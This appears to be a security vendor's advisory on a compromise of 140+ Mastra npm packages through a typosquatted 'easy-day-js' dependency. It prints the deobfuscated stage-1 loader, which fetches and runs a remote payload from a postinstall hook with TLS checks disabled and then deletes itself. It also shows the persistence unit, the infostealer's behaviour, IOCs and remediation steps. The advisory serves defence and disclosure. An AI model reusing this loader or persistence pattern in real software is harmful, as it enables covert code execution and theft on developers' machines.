140+ Mastra npm Packages Compromised in Coordinated Supply Chain Attack
More than 140 Mastra npm packages were compromised in a supply chain attack that used a typosquatted dependency to deliver a cross-platform infostealer during installation.
- Socket Research Team

Socket has detected a malicious npm supply chain campaign involving compromised @mastra/* packages published under the Mastra namespace. A single npm account (ehindero) mass-published more than 140 malicious packages across the Mastra scope within a short window on 2026-06-17.
The compromised package versions themselves contain unmodified code; the attack is delivered through an injected dependency, a typosquatted package named easy-day-js added to each package's dependency list. easy-day-js carries an obfuscated payload in a postinstall install hook, meaning the malware runs automatically during npm install (before a developer imports or uses the package) and rides into any project that pulls in one of the compromised Mastra packages. The loader disables TLS certificate validation, fetches a second-stage payload from attacker-controlled infrastructure over TLS, executes it as a detached background process, and deletes itself to limit forensic traces. Socket recovered and analyzed that second stage: a cross-platform infostealer that steals browser history and the stored data of over 160 cryptocurrency wallet browser extensions, and installs persistence across Windows, macOS, and Linux before exfiltrating to the operators' C2 servers.
The affected packages include @mastra/core, which receives more than 918K weekly npm downloads, giving this campaign a large potential blast radius. Because the payload executes during installation, systems may be exposed before developers import or use the package. Socket is still analyzing exact impact, but any workstation, CI runner, or build environment that installed the affected versions should be treated as potentially compromised.
Socket's threat research team is continuing to analyze the malware and its potential impact, and will publish full technical details as the investigation progresses. We are also tracking affected packages, versions, and detection details on our public campaign page.
Socket flagged the malicious easy-day-js within six minutes after publication. The package had been uploaded to npm as a clean dependency the day before, then updated later to deliver malware, a pattern reminiscent of the recent axios campaign. Because the affected Mastra packages pulled in that dependency, Socket users were protected automatically, with installs of any of the compromised packages flagged and blocked.
Loading affected packages…
Recommendations
If you installed any of the versions above, treat the host or CI runner that ran the install as compromised. Remove the affected versions, delete node_modules, and reinstall a known-good prior version. Rotate any credentials that may have been exposed during installation, including npm tokens, cloud provider keys, CI/CD secrets, and SSH and Git credentials. Socket customers are protected automatically: installs of these packages are flagged and blocked before the malicious install hook can execute.
Technical Analysis
How the attack was delivered
Every prior @mastra/* release was published by the project's CI ("GitHub Actions"). On 2026-06-17, between roughly 01:15 and 02:36 UTC, a single human npm account, ehindero, published malicious versions of 141 @mastra/* packages in one tight window (identified by scope-wide registry enumeration; not every package in the scope was affected). The published @mastra/* code is byte-for-byte identical to the last legitimate build; aside from the patch version bump and routine manifest re-normalization, the only functional change to each manifest is a single added dependency:
"dependencies": {
"easy-day-js": "^1.11.21"
}easy-day-js is a typosquat of the popular dayjs library, published the day before (2026-06-16) by a separate account, sergey2016. Version 1.11.21 is a clean copy of dayjs (no install hook) used to establish a benign history; version 1.11.22 adds the weaponized hook:
"scripts": { "postinstall": "node setup.cjs --no-warnings" }Because the hook lives on the transitive dependency, npm install of any compromised @mastra/* package pulls easy-day-js@1.11.22 and runs setup.cjs automatically, before any application code is imported.
Stage 1: the loader (setup.cjs)
setup.cjs is obfuscated with obfuscator.io (string-array + custom-base64 decoder + array rotation). Deobfuscated, it is a compact downloader:
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; // disable TLS verification
const url = 'https://23[.]254[.]164[.]92:8000/update/49890878'; // C2
fs.writeFileSync(os.tmpdir()+'/.pkg_history', __dirname); // victim beacon
fs.writeFileSync(os.tmpdir()+'/.pkg_logs', /* "easy-day-js" */); // campaign marker
const stage2 = await (await fetch(url)).text(); // pull stage 2
const out = os.tmpdir()+'/'+crypto.randomBytes(12).toString('hex')+'.js';
fs.writeFileSync(out, stage2);
child_process.spawn(process.execPath, [out, '23[.]254[.]164[.]123:443'],
{ detached: true, stdio: 'ignore', windowsHide: true }).unref(); // run detached
fs.rmSync(__filename, { force: true }); // self-deleteIt disables certificate validation, beacons to a C2, writes the downloaded second stage to a random filename in the temp directory, launches it as a detached background process (so it survives the install exiting), and deletes itself to limit forensic traces. The second host, 23[.]254[.]164[.]123:443, is passed to the second stage as its exfiltration target.
Stage 2: the implant (protocal.cjs)
The second stage payload is a ~41 KB cross-platform Node.js tasking client, not a fire-and-forget stealer: it installs login persistence, then beacons to the operator and runs whatever follow-on code is returned.
It is dropped to a persistent location and configured to run at every login:
| OS | Persistence mechanism | Notes |
|---|---|---|
| Windows | HKCU\...\CurrentVersion\Run value NvmProtocal → hidden PowerShell | Drop dir C:\ProgramData\NodePackages\ (protocal.cjs, config.json) |
| macOS | LaunchAgent ~/Library/LaunchAgents/com.nvm.protocal.plist (RunAtLoad) | ~/Library/NodePackages/protocal.cjs |
| Linux | systemd user unit ~/.config/systemd/user/nvmconf.service (ExecStart runs the payload) | Payload ~/.config/systemd/nvmconf/protocal.cjs; config ~/.config/NodePackages/config.json |
The Linux unit the sample writes:
[Unit]
Description=System Config User Service
[Service]
Type=simple
ExecStart=<node> <home>/.config/systemd/nvmconf/protocal.cjs
SuccessExitStatus=SIGTERM SIGINT
Restart=on-failure
RestartSec=5
[Install]
WantedBy=default.targetCommand-and-control / tasking. The implant sends a Start beacon, then enters a repeated Check poll loop (Cycle). Tasks returned by the server are dispatched to built-in runners (a Node runner and a Shell runner; unrecognized task types log Unknown runner), and it honors config update and exit commands. This means the operator can push and execute arbitrary follow-on code on the host at any time. Consequently, even though the recovered core does not itself read saved passwords or cookies, credential and secret theft can still occur through later modules delivered over this channel.
Built-in collection. The recovered sample carries these collection capabilities:
- Cryptocurrency wallet inventory: it carries a hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others), lists each browser profile's
Local Extension Settingsdirectory, matches the installed extensions against that list, and exfiltrates the matched inventory (extension ID plus profile path, sent in theStartbeacon asextInfo). In this sample it does not copy or read the wallet extensions' stored data (LevelDB), only the inventory of which wallets are present. - Browser history: from Chrome, Edge, and Brave: it copies each profile's
Historydatabase to a tempbrowser-hist-…directory and reads it via Node's built-innode:sqlite. (The recovered payload accessesHistoryonly). - Host reconnaissance: hostname, architecture, platform, user ID, installed applications, and running processes.
Collected data is exfiltrated to the operators' command-and-control host (passed in by the loader) using the bot path /49890878.
Notable details
- Custom ICAP-style exfiltration. The second stage sends custom ICAP-style tasking and exfiltration payloads over HTTPS POST (
reqmod,PrimaryUrl,SecondaryUrl,sub_net_resolve,sub_net_splithostport) indicate a hand-rolled protocol modeled on ICAP (REQMOD is an ICAP request method), with hostnames resolved vianode:dns(resolve4,isIPv4) and traffic carrying a hardcoded spoofed User-Agent,mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0). Both are useful, non-obvious network IOCs. - Node/NVM masquerade. The persistence and drop names are deliberately disguised as Node tooling across all three operating systems:
protocal.cjs, theNodePackagesdrop directory, the Windows Run valueNvmProtocal, the macOS labelcom.nvm.protocal, and the Linux unitnvmconf.service(described as "System Config User Service"). The theme ties the three persistence mechanisms together and helps blend into a developer machine. - Reused toolkit. An identical loader sample (
a.js) was first seen on public sandboxes on 2026-05-29, ~19 days before the Mastra publish, indicating reused tooling rather than a one-off. - Injected-dependency model. The compromised packages carry no malicious code of their own, so source-level review of
@mastra/*reveals nothing. The malicious behavior is entirely in the transitiveeasy-day-jsinstall hook, which is why install-time scanning (not just code review) is what catches it. - TLS bypass in both stages. Both the loader and the recovered second stage set
NODE_TLS_REJECT_UNAUTHORIZED=0, disabling TLS certificate validation. This lets the C2 infrastructure use self-signed or otherwise untrusted certificates.
Recommendations and Mitigations
Treat any system that installed one of the affected @mastra/* versions as potentially compromised. The payload executes during npm install, before application code imports the package, so exposure depends on installation or CI execution, not runtime use.
Identify exposure
Search source repositories, lockfiles, package-manager metadata, CI logs, build artifacts, developer machines, and internal package caches for the affected package names and versions and for the injected dependency easy-day-js. Pay particular attention to package-lock.json, npm-shrinkwrap.json, yarn.lock, pnpm-lock.yaml, SBOMs, artifact manifests, and historical CI logs. A fast first check on any project or runner is npm ls easy-day-js.
Contain affected systems
If an affected package was installed on a developer workstation, isolate the host and preserve logs before remediation. Because the stealer installs login-persistence (Windows Run key, macOS LaunchAgent, Linux systemd user unit), uninstalling the npm package or deleting node_modules is not sufficient cleanup. For CI/CD, suspend affected workflow runs and review whether any release, container image, npm package, or deployment artifact was produced after the malicious package was installed.
Remove the malicious versions
Remove the affected versions from projects and dependency locks and remove easy-day-js entirely. Replace @mastra/* packages with a known-clean prior version (the last GitHub-Actions-published release, one patch below the malicious version) only after verifying package metadata and release provenance. Clear local and CI package caches where the malicious tarballs may persist, and prefer rebuilding from clean environments over reusing existing runners, workspaces, or node_modules.
Remove persistence and local artifacts
On any affected host, remove the dropped stealer and its persistence:
- Windows: delete the
NvmProtocalvalue underHKCU\...\CurrentVersion\Runand removeC:\ProgramData\NodePackages\protocal.cjsandconfig.json. - macOS: unload and delete
~/Library/LaunchAgents/com.nvm.protocal.plistand remove~/Library/NodePackages/protocal.cjs. - Linux: disable and delete
~/.config/systemd/user/nvmconf.service, remove~/.config/systemd/nvmconf/protocal.cjs, and remove~/.config/NodePackages/config.json.
Also delete loader artifacts in the temp directory (.pkg_history, .pkg_logs, randomized <hex>.js, and browser-hist-* directories) and hunt for a detached node process running the dropped script.
Rotate exposed credentials
The recovered payload targets cryptocurrency wallets and browser history, and arbitrary threat actor code ran in the install context. Prioritize:
- Cryptocurrency wallets: if any targeted wallet extension (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others) was present in a browser on an affected machine, treat the wallet environment as high risk. The recovered sample inventories wallet extensions rather than copying their LevelDB contents, but arbitrary install-time code execution and dynamic follow-on tasking justify precautionary wallet migration for high-value wallets. Move funds to a new wallet generated from a fresh seed phrase on a clean device. Rotating a password is not enough.
- Precautionary: the recovered stage did not read saved passwords or cookies, but install-time code execution can read the environment and developer/CI secrets, and the loader can serve different payloads. As a precaution, rotate tokens that were present in the install context, including npm tokens, GitHub tokens, cloud provider credentials, and SSH/Git credentials, especially for CI runners.
Strengthen CI/CD and dependency controls
Run dependency installation with lifecycle scripts disabled by default (npm install --ignore-scripts) and allowlist install scripts only for dependencies that genuinely need them. Use dependency allowlisting, package cooldown periods (delaying adoption of brand-new versions), lockfile enforcement, and SBOM generation to reduce exposure to freshly published malicious versions. Add network egress controls to CI runners and developer build environments, and alert on outbound connections to raw IP literals or unexpected hosts during dependency installation. Finally, do not treat provenance or trusted publishing as a complete control: in this incident the malicious wave was published through an account with legitimate publish rights, so runtime monitoring and package-behavior analysis remain necessary.
Indicators of Compromise (IOCs)
Network Indicators
23.254.164[.]92https://23.254.164[.]92:8000/update/4989087823.254.164[.]123https://23.254.164[.]123:443/49890878AS54290 (Hostwinds LLC)hwsrv-1327786.hostwindsdns[.]comhwsrv-1327785.hostwindsdns[.]com
Code and String Indicators
NvmProtocal(Windows Run-key value name)com.nvm.protocal(macOS LaunchAgent label)nvmconf.service(Linux systemd unit name)protocal.cjs(dropped stage-2 filename)NodePackages(drop directory name (Win/mac/Linux variants)).pkg_history / .pkg_logs(loader beacon/marker files)/update/49890878(stage-2 download path / bot id)
SHA-256 Hashes
b122a9873bedf145ae2a7fd024b5f309007dbb025149f4dc4ac3f7e4f32a36a4-easy-day-js setup.cjs (stage-1 loader)c38954e85bf5433e61e7c8f4230336695624ae88b6953afabf7bf817aa91b638-easy-day-js@1.11.22 package.jsoncdec8b20338beb708b5be8d3d7a3041a35a8b0fb92f9186262f312d55ff82066-loader variant9570f77a5e1511869f4e554e7166df9fde081f2583e293c2569621792ed7d9c9-loader variant221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf-stage-2 stealer




